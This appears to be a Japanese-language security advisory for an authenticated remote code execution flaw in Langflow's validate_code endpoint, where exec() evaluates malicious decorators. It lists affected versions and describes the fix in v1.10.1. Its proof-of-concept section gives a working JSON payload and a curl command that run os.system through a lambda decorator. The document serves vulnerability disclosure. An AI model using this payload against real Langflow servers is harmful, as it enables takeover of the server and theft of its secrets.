Langflow: タイトル:認証されたリモートコード実行(RCE)の脆弱性 - validate_code関数における悪意のあるデコレータの利用

###概要:
Langflowのvalidate_code関数に、重大な認証済みリモートコード実行(RCE)の脆弱性が存在します。ユーザーが提供したコードを検証することを目的とした/api/v1/validate/codeエンドポイントは、Pythonのexec()関数を利用しています。この関数は、実行を関数定義に限定しようと試みますが、定義時に評価されるデコレータを考慮していません。これにより、認証されたユーザーはサーバー上で任意のコードを実行でき、システム全体が侵害される可能性があります。

###詳細:
この脆弱性は、src/lfx/src/lfx/custom/validate.py(src/backend/base/langflow/api/v1/validate.py経由で公開)に存在します。

validate_code関数は、ユーザー入力をastを使用して解析します。FunctionDefノードに遭遇すると、広範囲なエラーをチェックするために、コンパイルして実行します。

```
# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
# ...
# exec_globalsは制限されたスコープを作成しますが、標準の組み込み関数は利用可能です
exec(code_obj, exec_globals)
```

設計上、関数定義(def func(): ...)を実行しても、関数本体は実行されません。しかし、Pythonは関数定義に付随するデコレータをすぐに評価します。攻撃者は、悪意のあるデコレータ(例えば、ラムダ式や関数呼び出し)を提供することで、「検証」フェーズ中に即座にコードを実行できます。

###影響を受けるバージョン:

- **`/api/v1/validate/code` エンドポイントは、コミット `3fed9fe1b5` ("fix: 各エンドポイントに認証を追加", #10977) が適用される前までは、全くの認証なしの状態**でした。この修正は、**v1.7.2 で初めてリリース**されました。そのリリース以前は、この同じ `exec()` 処理が、**認証なしでアクセス可能**でした。
- **v1.7.2 から v1.10.0 までの期間中**、このエンドポイントは有効なセッションを必要としましたが、`exec()` 処理は変更されておらず、したがって、認証されたユーザー(または `AUTO_LOGIN` の設定下では、どのユーザーでも)が、以下に説明されている悪意のあるデコレーターを使用して、リモートコード実行 (RCE) を引き起こすことができました。
- **v1.10.1 で修正**されました。詳細は「修正点」を参照してください。

### 脆弱性の検証方法 (Proof of Concept)
- 任意のユーザーとして認証を行い、有効なアクセス トークンまたは API キーを取得します。
- 以下の JSON ペイロードを含む POST リクエストを `/api/v1/validate/code` エンドポイントに送信します。
```
{
"code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n pass"
}
```
Curl の例
```
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n pass"}'
```
確認方法: サーバーのファイルシステムを確認します。`/tmp/pwned` というファイルが作成されているはずです。

### 影響
この脆弱性は、リモートコード実行 (RCE) を引き起こします。

影響を受ける対象: Langflow インスタンスへのアクセス権を持つすべてのユーザー(認証されたユーザー)。
結果: 攻撃者は、Langflow を実行しているプロセスの権限で任意のコマンドを実行できます。これにより、機密性の高い環境変数(API キー、データベースの認証情報など)の読み取り、ファイルの改ざん、または内部ネットワークへのさらなる攻撃の実行が可能になります。

### 修正
**v1.10.1**で、PR [#13696](https://github.com/langflow-ai/langflow/pull/13696) (コミット `e7c33dbaad`、**GHSA-2wcq-pvw2-xh7v**として追跡中)によって修正されました。`src/lfx/src/lfx/custom/validate.py`内の`validate_code()`関数は、以前は送信された`FunctionDef`ノードを`exec()`関数で実行していましたが、現在は`compile()`関数のみを使用し、構文またはコンパイルエラーを検出します。これにより、デコレータやデフォルト引数式が評価されることはなく、この脆弱性が完全に解消されました。

この修正は、重複報告されたアドバイザリ**GHSA-xjq8-cqrm-7m4x**で報告された、別の攻撃手法(デコレータではなく、デフォルト引数の評価によるリモートコード実行)も解決します。両アドバイザリは、根本原因が同じ脆弱性(`validate_code()`内の無条件の`exec()`関数)であり、Pythonのどの構文(デコレータとデフォルト引数)を使用して実行をトリガーするかという点が異なるだけです。したがって、この発見に関する功績は、重複報告の報告者と共有されます。

影響を受けるパッケージ:
- pip (Python) langflow: 影響を受けるバージョンは1.7.2以上、1.10.1未満。1.10.1で修正済み。